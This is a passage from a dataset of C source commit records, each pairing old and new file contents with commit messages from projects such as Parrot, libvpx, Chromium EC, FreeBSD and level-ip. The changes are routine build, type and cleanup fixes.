*\/\n#endif \/* PARROT_STRING_PRIMITIVES_H_GUARD *\/\n\n\/*\n * Local variables:\n *   c-file-style: \"parrot\"\n * End:\n * vim: expandtab shiftwidth=4:\n *\/\n","new_contents":"\/* string_funcs.h\n *  Copyright (C) 2001-2003, The Perl Foundation.\n *  SVN Info\n *     $Id$\n *  Overview:\n *     This is the api header for the string subsystem\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_STRING_PRIMITIVES_H_GUARD\n#define PARROT_STRING_PRIMITIVES_H_GUARD\n\n#ifdef PARROT_IN_CORE\n\n\/* Set the directory where ICU finds its data files (encodings,\n   locales, etc.) *\/\nPARROT_API void string_set_data_directory(const char *dir);\n\n\/* Convert from any supported encoding, into our internal format *\/\nPARROT_API void string_fill_from_buffer(Interp *interp,\n        const void *buffer, UINTVAL len, const char *encoding_name, STRING *s);\n\n\/* Utility method which knows how to uwind a single escape sequence *\/\ntypedef Parrot_UInt2 (*Parrot_unescape_cb)(Parrot_Int4 offset, void *context);\nPARROT_API Parrot_UInt4\nstring_unescape_one(Interp *interp, UINTVAL *offset, STRING *string);\n\nPARROT_API UINTVAL\nParrot_char_digit_value(Interp *interp, UINTVAL character);\n\n#endif \/* PARROT_IN_CORE *\/\n#endif \/* PARROT_STRING_PRIMITIVES_H_GUARD *\/\n\n\/*\n * Local variables:\n *   c-file-style: \"parrot\"\n * End:\n * vim: expandtab shiftwidth=4:\n *\/\n","subject":"Fix the build on Win32 by making linkage of various symbols consistent again.","message":"Fix the build on Win32 by making linkage of various symbols consistent again.\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@18778 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"fernandobrito\/parrot,gitster\/parrot,gagern\/parrot,tkob\/parrot,tewk\/parrot-select,tewk\/parrot-select,parrot\/parrot,gagern\/parrot,fernandobrito\/parrot,gagern\/parrot,youprofit\/parrot,fernandobrito\/parrot,fernandobrito\/parrot,tewk\/parrot-select,FROGGS\/parrot,tkob\/parrot,gitster\/parrot,gagern\/parrot,tkob\/parrot,tewk\/parrot-select,tkob\/parrot,FROGGS\/parrot,youprofit\/parrot,gagern\/parrot,youprofit\/parrot,youprofit\/parrot,parrot\/parrot,tkob\/parrot,FROGGS\/parrot,gitster\/parrot,parrot\/parrot,FROGGS\/parrot,tewk\/parrot-select,FROGGS\/parrot,tewk\/parrot-select,fernandobrito\/parrot,tkob\/parrot,gitster\/parrot,youprofit\/parrot,FROGGS\/parrot,tewk\/parrot-select,youprofit\/parrot,fernandobrito\/parrot,parrot\/parrot,tkob\/parrot,gagern\/parrot,gitster\/parrot,FROGGS\/parrot,gagern\/parrot,parrot\/parrot,FROGGS\/parrot,gitster\/parrot,youprofit\/parrot,fernandobrito\/parrot,tkob\/parrot,gitster\/parrot,youprofit\/parrot"}
{"commit":"0e9ab695770b9c5501b56fb712527e1ed780950d","old_file":"cc1\/tests\/test038.c","new_file":"cc1\/tests\/test038.c","old_contents":"\n\/*\nname: TEST038\ndescription: Basic test for tentative definitions\noutput:\n\n*\/\n\nint x;\nint x = 0;\nint x;\n\nint main();\n\nvoid *\nfoo()\n{\n\treturn &main;\n}\n\nint\nmain()\n{\n\tx = 0;\n\treturn x;\n}\n","new_contents":"\n\/*\nname: TEST038\ndescription: Basic test for tentative definitions\noutput:\ntest038.c:45: error: redeclaration of 'x'\nG1\tI\tx\n(\n\t#I0\n)\nF2\tI\tE\nX3\tF2\tmain\nF4\tP\tE\nG5\tF4\tfoo\n{\n\\\n\tr\tX3\t'P\n}\nG3\tF2\tmain\n{\n\\\n\tG1\t#I0\t:I\n\tr\tG1\n}\n*\/\n\nint x;\nint x = 0;\nint x;\n\nint main();\n\nvoid *\nfoo()\n{\n\treturn &main;\n}\n\nint\nmain()\n{\n\tx = 0;\n\treturn x;\n}\nint x = 1;\n","subject":"Add solution for test of tentative declarations","message":"Add solution for test of tentative declarations\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc"}
{"commit":"d1327aec1bceaa7c998dd2eb47ab646f6c5db33d","old_file":"vpx_ports\/msvc.h","new_file":"vpx_ports\/msvc.h","old_contents":"\/*\n *  Copyright (c) 2015 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef VPX_PORTS_MSVC_H_\n#define VPX_PORTS_MSVC_H_\n#ifdef _MSC_VER\n\n#include \".\/vpx_config.h\"\n\n# if _MSC_VER < 1900  \/\/ VS2015 provides snprintf\n#  define snprintf _snprintf\n# endif  \/\/ _MSC_VER < 1900\n\n#if _MSC_VER < 1800  \/\/ VS2013 provides round\n#include <math.h>\nstatic INLINE double round(double x) {\n  if (x < 0)\n    return ceil(x - 0.5);\n  else\n    return floor(x + 0.5);\n}\n#endif  \/\/ _MSC_VER < 1800\n\n#endif  \/\/ _MSC_VER\n#endif  \/\/ VPX_PORTS_MSVC_H_\n","new_contents":"\/*\n *  Copyright (c) 2015 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef VPX_PORTS_MSVC_H_\n#define VPX_PORTS_MSVC_H_\n#ifdef _MSC_VER\n\n#include \".\/vpx_config.h\"\n\n# if _MSC_VER < 1900  \/\/ VS2015 provides snprintf\n#  define snprintf _snprintf\n# endif  \/\/ _MSC_VER < 1900\n\n#if _MSC_VER < 1800  \/\/ VS2013 provides round\n#include <math.h>\nstatic INLINE double round(double x) {\n  if (x < 0)\n    return ceil(x - 0.5);\n  else\n    return floor(x + 0.5);\n}\n\nstatic INLINE float roundf(float x) {\n  if (x < 0)\n    return (float)ceil(x - 0.5f);\n  else\n    return (float)floor(x + 0.5f);\n}\n\nstatic INLINE long lroundf(float x) {\n  if (x < 0)\n    return (long)(x - 0.5f);\n  else\n    return (long)(x + 0.5f);\n}\n#endif  \/\/ _MSC_VER < 1800\n\n#endif  \/\/ _MSC_VER\n#endif  \/\/ VPX_PORTS_MSVC_H_\n","subject":"Add roundf and lroundf replacements for VS < 2013.","message":"Add roundf and lroundf replacements for VS < 2013.\n\nChange-Id: I25678279ab44672acf680bf04d9c551156e2904b\n","lang":"C","license":"bsd-2-clause","repos":"GrokImageCompression\/aom,mbebenita\/aom,GrokImageCompression\/aom,mbebenita\/aom,mbebenita\/aom,luctrudeau\/aom,mbebenita\/aom,GrokImageCompression\/aom,luctrudeau\/aom,GrokImageCompression\/aom,luctrudeau\/aom,luctrudeau\/aom,GrokImageCompression\/aom,mbebenita\/aom,mbebenita\/aom,GrokImageCompression\/aom,smarter\/aom,smarter\/aom,mbebenita\/aom,mbebenita\/aom,smarter\/aom,luctrudeau\/aom,luctrudeau\/aom,smarter\/aom,smarter\/aom,mbebenita\/aom,smarter\/aom"}
{"commit":"667af78609aef7ce96f22c1727256265280919ae","old_file":"board.h","new_file":"board.h","old_contents":"#ifndef __BOARD_H\n#define __BOARD_H\n\n#include <aery32\/all.h>\n\n#define ADC_VREF 3.0\n#define ADC_BITS 10\n\nnamespace board {\n\n\tvoid init(void);\n\n\tinline double cnv_to_volt(unsigned int cnv)\n\t{\n\t\treturn cnv * (ADC_VREF \/ (1UL << ADC_BITS));\n\t}\n\n} \/* end of namespace board *\/\n\n#endif\n","new_contents":"#ifndef __BOARD_H\n#define __BOARD_H\n\n#define ADC_VREF 3.0\n#define ADC_BITS 10\n\nnamespace board {\n\n\tvoid init(void);\n\n\tinline double cnv_to_volt(unsigned int cnv)\n\t{\n\t\treturn cnv * (ADC_VREF \/ (1UL << ADC_BITS));\n\t}\n\n} \/* end of namespace board *\/\n\n#endif\n","subject":"Remove unnecessary include of aery32\/all.h","message":"Remove unnecessary include of aery32\/all.h","lang":"C","license":"bsd-3-clause","repos":"aery32\/aery32,aery32\/aery32,denravonska\/aery32,denravonska\/aery32"}
{"commit":"52b676ffd7f8665b01f37ebb515b9ba911561fc9","old_file":"zephyr\/test\/drivers\/common\/src\/main.c","new_file":"zephyr\/test\/drivers\/common\/src\/main.c","old_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <zephyr\/zephyr.h>\n#include <ztest.h>\n#include \"ec_app_main.h\"\n#include \"test\/drivers\/test_state.h\"\n\nbool drivers_predicate_pre_main(const void *state)\n{\n\treturn ((struct test_state *)state)->ec_app_main_run == false;\n}\n\nbool drivers_predicate_post_main(const void *state)\n{\n\treturn !drivers_predicate_pre_main(state);\n}\n\nvoid test_main(void)\n{\n\tstruct test_state state = {\n\t\t.ec_app_main_run = false,\n\t};\n\n\t\/* Run all the suites that depend on main not being called yet *\/\n\tztest_run_test_suites(&state);\n\n\tec_app_main();\n\tstate.ec_app_main_run = true;\n\n\t\/* Run all the suites that depend on main being called *\/\n\tztest_run_test_suites(&state);\n\n\t\/* Check that every suite ran *\/\n\tztest_verify_all_test_suites_ran();\n}\n","new_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <zephyr\/zephyr.h>\n#include <ztest.h>\n#include \"ec_app_main.h\"\n#include \"test\/drivers\/test_state.h\"\n\nbool drivers_predicate_pre_main(const void *state)\n{\n\treturn ((struct test_state *)state)->ec_app_main_run == false;\n}\n\nbool drivers_predicate_post_main(const void *state)\n{\n\treturn !drivers_predicate_pre_main(state);\n}\n\nvoid test_main(void)\n{\n\tstruct test_state state = {\n\t\t.ec_app_main_run = false,\n\t};\n\n\t\/* Run all the suites that depend on main not being called yet *\/\n\tztest_run_all(&state);\n\n\tec_app_main();\n\tstate.ec_app_main_run = true;\n\n\t\/* Run all the suites that depend on main being called *\/\n\tztest_run_all(&state);\n}\n","subject":"Fix listing of test cases","message":"zephyr: Fix listing of test cases\n\nUse correct ZTEST API so test cases can be listed\n\nBUG=b:240364238\nBRANCH=NONE\nTEST=.\/zephyr.exe -list\n\nSigned-off-by: Al Semjonovs <c3a2ecb550cad1e7d5a943ca6241377f7b43ffc4@google.com>\nChange-Id: If3b603ab64421da558228e67a907039a1674ba0b\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/3789128\nReviewed-by: Yuval Peress <50dc11c009bd4d7e9d9d15a383c1743ce5ee82ef@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"17787f4779ab490398d7ff391230dbfedfa987c5","old_file":"sbin\/md5\/global.h","new_file":"sbin\/md5\/global.h","old_contents":"\/* GLOBAL.H - RSAREF types and constants\n *\/\n\n\/* PROTOTYPES should be set to one if and only if the compiler supports\n  function argument prototyping.\nThe following makes PROTOTYPES default to 0 if it has not already\n  been defined with C compiler flags.\n *\/\n#ifndef PROTOTYPES\n#define PROTOTYPES 0\n#endif\n\n\/* POINTER defines a generic pointer type *\/\ntypedef unsigned char *POINTER;\n\n\/* UINT2 defines a two byte word *\/\ntypedef unsigned short int UINT2;\n\n\/* UINT4 defines a four byte word *\/\ntypedef unsigned long int UINT4;\n\n\/* PROTO_LIST is defined depending on how PROTOTYPES is defined above.\nIf using PROTOTYPES, then PROTO_LIST returns the list, otherwise it\n  returns an empty list.\n *\/\n#if PROTOTYPES\n#define PROTO_LIST(list) list\n#else\n#define PROTO_LIST(list) ()\n#endif\n","new_contents":"\/* GLOBAL.H - RSAREF types and constants\n *\/\n\n\/* PROTOTYPES should be set to one if and only if the compiler supports\n  function argument prototyping.\nThe following makes PROTOTYPES default to 0 if it has not already\n  been defined with C compiler flags.\n *\/\n#ifndef PROTOTYPES\n#define PROTOTYPES 0\n#endif\n\n\/* POINTER defines a generic pointer type *\/\ntypedef unsigned char *POINTER;\n\n#if 0\n\/* UINT2 defines a two byte word *\/\ntypedef unsigned short int UINT2;\n\n\/* UINT4 defines a four byte word *\/\ntypedef unsigned long int UINT4;\n#else\n#include <sys\/types.h>\n\n\/* UINT2 defines a two byte word *\/\ntypedef u_int16_t UINT2;\n\n\/* UINT4 defines a four byte word *\/\ntypedef u_int32_t UINT4;\n#endif \/* 0 *\/\n\n\/* PROTO_LIST is defined depending on how PROTOTYPES is defined above.\nIf using PROTOTYPES, then PROTO_LIST returns the list, otherwise it\n  returns an empty list.\n *\/\n#if PROTOTYPES\n#define PROTO_LIST(list) list\n#else\n#define PROTO_LIST(list) ()\n#endif\n","subject":"Fix bad assumptions about types. PR: 1649 Reviewed by: phk Submitted by: Jason Thorpe <thorpej@nas.nasa.gov>","message":"Fix bad assumptions about types.\nPR:\t\t1649\nReviewed by:\tphk\nSubmitted by:\tJason Thorpe <thorpej@nas.nasa.gov>\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"3f283a62a22d59028e96d39fdc35c6bd85c2129d","old_file":"src\/modules\/conf_randr\/e_mod_main.h","new_file":"src\/modules\/conf_randr\/e_mod_main.h","old_contents":"#ifndef E_MOD_MAIN_H\n# define E_MOD_MAIN_H\n\n# define LOGFNS 1\n\n# ifdef LOGFNS\n#  include <stdio.h>\n#  define LOGFN(fl, ln, fn) printf(\"-CONF-RANDR: %25s: %5i - %s\\n\", fl, ln, fn);\n# else\n#  define LOGFN(fl, ln, fn)\n# endif\n\n\n# ifndef ECORE_X_RANDR_1_2\n#  define ECORE_X_RANDR_1_2 ((1 << 16) | 2)\n# endif\n\n# ifndef ECORE_X_RANDR_1_3\n#  define ECORE_X_RANDR_1_3 ((1 << 16) | 3)\n# endif\n\n# ifndef E_RANDR_12\n#  define E_RANDR_12 (e_randr_screen_info.rrvd_info.randr_info_12)\n# endif\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init(E_Module *m);\nEAPI int e_modapi_shutdown(E_Module *m);\nEAPI int e_modapi_save(E_Module *m);\n\nextern const char *mod_dir;\n\n\/**\n * @addtogroup Optional_Conf\n * @{\n *\n * @defgroup Module_Conf_RandR RandR (Screen Resize, Rotate and Mirror)\n *\n * Configures size, rotation and mirroring of screen. Uses the X11\n * RandR protocol (does not work with NVidia proprietary drivers).\n *\n * @}\n *\/\n\n#endif\n","new_contents":"#ifndef E_MOD_MAIN_H\n# define E_MOD_MAIN_H\n\n\/\/# define LOGFNS 1\n\n# ifdef LOGFNS\n#  include <stdio.h>\n#  define LOGFN(fl, ln, fn) printf(\"-CONF-RANDR: %25s: %5i - %s\\n\", fl, ln, fn);\n# else\n#  define LOGFN(fl, ln, fn)\n# endif\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init(E_Module *m);\nEAPI int e_modapi_shutdown(E_Module *m);\nEAPI int e_modapi_save(E_Module *m);\n\n\/**\n * @addtogroup Optional_Conf\n * @{\n *\n * @defgroup Module_Conf_RandR RandR (Screen Resize, Rotate and Mirror)\n *\n * Configures size, rotation and mirroring of screen. Uses the X11\n * RandR protocol (does not work with NVidia proprietary drivers).\n *\n * @}\n *\/\n\n#endif\n","subject":"Remove useless defines and variables.","message":"Remove useless defines and variables.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84200\n","lang":"C","license":"bsd-2-clause","repos":"tasn\/enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment"}
{"commit":"821e790e9f14828382c787ca907ef4c7c86ff1de","old_file":"src\/handler\/plparrot.c","new_file":"src\/handler\/plparrot.c","old_contents":"#include \"postgres.h\"\n#include \"executor\/spi.h\"\n#include \"commands\/trigger.h\"\n#include \"fmgr.h\"\n#include \"access\/heapam.h\"\n#include \"utils\/syscache.h\"\n#include \"catalog\/pg_proc.h\"\n#include \"catalog\/pg_type.h\"\n\n\/*\nFigure out how to include these properly\n#include \"parrot\/embed.h\"\n#include \"parrot\/debugger.h\"\n#include \"parrot\/runcore_api.h\"\n*\/\n\n\nPG_MODULE_MAGIC;\n\nDatum plparrot_call_handler(PG_FUNCTION_ARGS);\nvoid plparrot_elog(int level, char *message);\n\nPG_FUNCTION_INFO_V1(plparrot_call_handler);\n\nDatum\nplparrot_call_handler(PG_FUNCTION_ARGS)\n{\n    Datum retval;\n\n    retval = PG_GETARG_DATUM(0);\n    PG_TRY();\n    {\n    }\n    PG_CATCH();\n    {\n    }\n    PG_END_TRY();\n\n    return retval;\n}\n\nvoid\nplparrot_elog(int level, char *message)\n{\n    elog(level, \"%s\", message);\n}\n","new_contents":"#include \"postgres.h\"\n#include \"executor\/spi.h\"\n#include \"commands\/trigger.h\"\n#include \"fmgr.h\"\n#include \"access\/heapam.h\"\n#include \"utils\/syscache.h\"\n#include \"utils\/builtins.h\"\n#include \"catalog\/pg_proc.h\"\n#include \"catalog\/pg_type.h\"\n\n\/*\nFigure out how to include these properly\n\nWe need to use \"parrot_config includedir\"\n\n#include \"parrot\/embed.h\"\n#include \"parrot\/debugger.h\"\n#include \"parrot\/runcore_api.h\"\n*\/\n\n\nPG_MODULE_MAGIC;\nint execq(text *sql, int cnt);\n\nint\nexecq(text *sql, int cnt)\n{\n    char *command;\n    int ret;\n    int proc;\n\n    SPI_connect();\n\n    SPI_finish();\n    \/\/pfree(command);\n\n    return (proc);\n}\n\nDatum plparrot_call_handler(PG_FUNCTION_ARGS);\nvoid plparrot_elog(int level, char *message);\n\nPG_FUNCTION_INFO_V1(plparrot_call_handler);\n\nDatum\nplparrot_call_handler(PG_FUNCTION_ARGS)\n{\n    Datum retval;\n\n    retval = PG_GETARG_DATUM(0);\n    PG_TRY();\n    {\n    }\n    PG_CATCH();\n    {\n    }\n    PG_END_TRY();\n\n    return retval;\n}\n\nvoid\nplparrot_elog(int level, char *message)\n{\n    elog(level, \"%s\", message);\n}\n","subject":"Add the beginnings of something that does SPI","message":"Add the beginnings of something that does SPI\n","lang":"C","license":"artistic-2.0","repos":"leto\/plparrot,leto\/plparrot,leto\/plparrot"}
{"commit":"2cba4cc585f7dde2b9b582d2ff3c164819697e3b","old_file":"features\/FEATURE_UVISOR\/includes\/uvisor\/api\/inc\/uvisor_deprecation.h","new_file":"features\/FEATURE_UVISOR\/includes\/uvisor\/api\/inc\/uvisor_deprecation.h","old_contents":"\/*\n * Copyright (c) 2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef __UVISOR_DEPRECATION_H__\n#define __UVISOR_DEPRECATION_H__\n\n#if defined(UVISOR_PRESENT) && UVISOR_PRESENT == 1\n#warning \"Warning: You are using FEATURE_UVISOR, which is unsupported as of Mbed OS 5.9.\"\n#endif\n\n#endif  \/\/ __UVISOR_DEPRECATION_H__\n","new_contents":"\/*\n * Copyright (c) 2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef __UVISOR_DEPRECATION_H__\n#define __UVISOR_DEPRECATION_H__\n\n#if defined(UVISOR_PRESENT) && UVISOR_PRESENT == 1\n#warning \"Warning: uVisor is superseded by the Secure Partition Manager (SPM) defined in the ARM Platform Security Architecture (PSA). \\\n          uVisor is deprecated as of Mbed OS 5.9, and being replaced by a native PSA-compliant implementation of SPM.\"\n#endif\n\n#endif  \/\/ __UVISOR_DEPRECATION_H__\n","subject":"Edit warning about FEATURE_UVISOR being deprecated","message":"Edit warning about FEATURE_UVISOR being deprecated\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,c1728p9\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,betzw\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,c1728p9\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,c1728p9\/mbed-os,mbedmicro\/mbed,c1728p9\/mbed-os,kjbracey-arm\/mbed,c1728p9\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,betzw\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,betzw\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os"}
{"commit":"471c298771351869ac9b520468ae8e392665572e","old_file":"src\/idxgen.h","new_file":"src\/idxgen.h","old_contents":"#ifndef IDXGEN_H\n#define IDXGEN_H\n\n#include \"encparams.h\"\n#include \"bitstring.h\"\n\ntypedef struct NtruIGFState {\n    int N;\n    int c;\n    int clen;\n    char *Z;\n    int zlen;\n    int rem_len;\n    NtruBitStr buf;\n    int counter;\n    void (*hash)(char[], int, char[]);\n    int hlen;\n} NtruIGFState;\n\n\/**\n * @brief IGF initialization\n *\n * Initializes the Index Generation Function.\n * Based on IGF-2 from IEEE P1363.1 section 8.4.2.1.\n *\n * @param seed\n * @param seed_len\n * @param params\n * @param s\n *\/\nvoid ntru_IGF_init(char *seed, int seed_len, struct NtruEncParams *params, NtruIGFState *s);\n\n\/**\n * @brief IGF next index\n *\n * Returns the next index.\n * Based on IGF-2 from IEEE P1363.1 section 8.4.2.1.\n *\n * @param s\n * @param i\n *\/\nvoid ntru_IGF_next(NtruIGFState *s, int *i);\n\n#endif   \/* IDXGEN_H *\/\n","new_contents":"#ifndef IDXGEN_H\n#define IDXGEN_H\n\n#include \"encparams.h\"\n#include \"bitstring.h\"\n\ntypedef struct NtruIGFState {\n    int N;\n    int c;\n    char *Z;\n    int zlen;\n    int rem_len;\n    NtruBitStr buf;\n    int counter;\n    void (*hash)(char[], int, char[]);\n    int hlen;\n} NtruIGFState;\n\n\/**\n * @brief IGF initialization\n *\n * Initializes the Index Generation Function.\n * Based on IGF-2 from IEEE P1363.1 section 8.4.2.1.\n *\n * @param seed\n * @param seed_len\n * @param params\n * @param s\n *\/\nvoid ntru_IGF_init(char *seed, int seed_len, struct NtruEncParams *params, NtruIGFState *s);\n\n\/**\n * @brief IGF next index\n *\n * Returns the next index.\n * Based on IGF-2 from IEEE P1363.1 section 8.4.2.1.\n *\n * @param s\n * @param i\n *\/\nvoid ntru_IGF_next(NtruIGFState *s, int *i);\n\n#endif   \/* IDXGEN_H *\/\n","subject":"Remove an unused struct member","message":"Remove an unused struct member\n","lang":"C","license":"bsd-3-clause","repos":"iblumenfeld\/libntru,jl777\/libntru,jquesnelle\/libntru,jquesnelle\/libntru,jl777\/libntru,jl777\/libntru,iblumenfeld\/libntru,iblumenfeld\/libntru,jquesnelle\/libntru"}
{"commit":"bf6a7f095f6721e4172c30acf69d67e2e51899ff","old_file":"lib\/GPIOlib.h","new_file":"lib\/GPIOlib.h","old_contents":"","new_contents":"#include <wiringPi.h>\n#include <softPwm.h>\n\n#ifndef GPIOLIB_H\n#define GPIOLIB_H\n\n#define FORWARD 1\n#define BACKWARD 0\n\nnamespace GPIO\n{\n\tint init();\n\t\n\tint controlLeft(int direction,int speed);\n\tint controlRight(int direction,int speed);\n\tint stopLeft();\n\tint stopRight();\n\t\n\tint resetCounter();\n\tvoid getCounter(int *countLeft,int *countRight);\n\tint turnTo(int angle);\n}\n#endif\n","subject":"Add header file for reference","message":"Add header file for reference\n","lang":"C","license":"mit","repos":"miaoxw\/EmbeddedSystemNJU2017-Demo"}
{"commit":"14dd5b240b3b619889aef85184704448c1b05dba","old_file":"src\/skbuff.c","new_file":"src\/skbuff.c","old_contents":"#include \"syshead.h\"\n#include \"skbuff.h\"\n\nstruct sk_buff *alloc_skb(unsigned int size)\n{\n    struct sk_buff *skb = malloc(sizeof(struct sk_buff));\n\n    memset(skb, 0, sizeof(struct sk_buff));\n    skb->data = malloc(size);\n    memset(skb->data, 0, size);\n    \n    skb->head = skb->data;\n    skb->tail = skb->data;\n    skb->end = skb->tail + size;\n\n    return skb;\n}\n\nvoid free_skb(struct sk_buff *skb)\n{\n    free(skb->data);\n    free(skb);\n}\n\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len)\n{\n    skb->data += len;\n    skb->tail += len;\n\n    return skb->data;\n}\n\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len)\n{\n    skb->data -= len;\n    skb->len += len;\n\n    return skb->data;\n}\n\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst)\n{\n    skb->dst = dst;\n}\n\nuint8_t *skb_head(struct sk_buff *skb)\n{\n    return skb->head;\n}\n","new_contents":"#include \"syshead.h\"\n#include \"skbuff.h\"\n\nstruct sk_buff *alloc_skb(unsigned int size)\n{\n    struct sk_buff *skb = malloc(sizeof(struct sk_buff));\n\n    memset(skb, 0, sizeof(struct sk_buff));\n    skb->data = malloc(size);\n    memset(skb->data, 0, size);\n    \n    skb->head = skb->data;\n    skb->tail = skb->data;\n    skb->end = skb->tail + size;\n\n    return skb;\n}\n\nvoid free_skb(struct sk_buff *skb)\n{\n    free(skb->head);\n    free(skb);\n}\n\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len)\n{\n    skb->data += len;\n    skb->tail += len;\n\n    return skb->data;\n}\n\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len)\n{\n    skb->data -= len;\n    skb->len += len;\n\n    return skb->data;\n}\n\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst)\n{\n    skb->dst = dst;\n}\n\nuint8_t *skb_head(struct sk_buff *skb)\n{\n    return skb->head;\n}\n","subject":"Fix pointer in skb free routine","message":"Fix pointer in skb free routine\n\nYou cannot pass a different memory location to malloc than what it was\noriginally allocated with :p\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"5eb3562266c5f970ae0943da45dd7740aa7a5747","old_file":"src\/sounds.h","new_file":"src\/sounds.h","old_contents":"\/*****************************************************************************\r\n * SOUNDS HEADER                                                             *\r\n * Provides easy access to all sounds.                                       *\r\n * See: sdl_snake.c                                                          *\r\n *****************************************************************************\/\r\n\r\n#pragma once\r\n\r\n#ifdef _WIN32 \/\/ STUPID WINDOWS\r\n    #include \"SDL_mixer.h\"\r\n#else\r\n    #include \"SDL\/SDL_mixer.h\"\r\n#endif\r\n\r\nMix_Chunk *snd_menu_blip;\r\nMix_Chunk *snd_menu_select;\r\nMix_Chunk *snd_crash;\r\nMix_Chunk *snd_eat;\r\nMix_Chunk *snd_321;\r\nMix_Chunk *snd_go;","new_contents":"\/*****************************************************************************\r\n * SOUNDS HEADER                                                             *\r\n * Provides easy access to all sounds.                                       *\r\n * See: sdl_snake.c                                                          *\r\n *****************************************************************************\/\r\n\r\n#pragma once\r\n\r\n#if defined _WIN32 || defined __APPLE__\r\n    #include \"SDL_mixer.h\"\r\n#else\r\n    #include \"SDL\/SDL_mixer.h\"\r\n#endif\r\n\r\nMix_Chunk *snd_menu_blip;\r\nMix_Chunk *snd_menu_select;\r\nMix_Chunk *snd_crash;\r\nMix_Chunk *snd_eat;\r\nMix_Chunk *snd_321;\r\nMix_Chunk *snd_go;","subject":"Fix compilation on Mac OS X","message":"Fix compilation on Mac OS X\n","lang":"C","license":"mit","repos":"footballhead\/sdl-snake,footballhead\/sdl-snake,footballhead\/sdl-snake"}
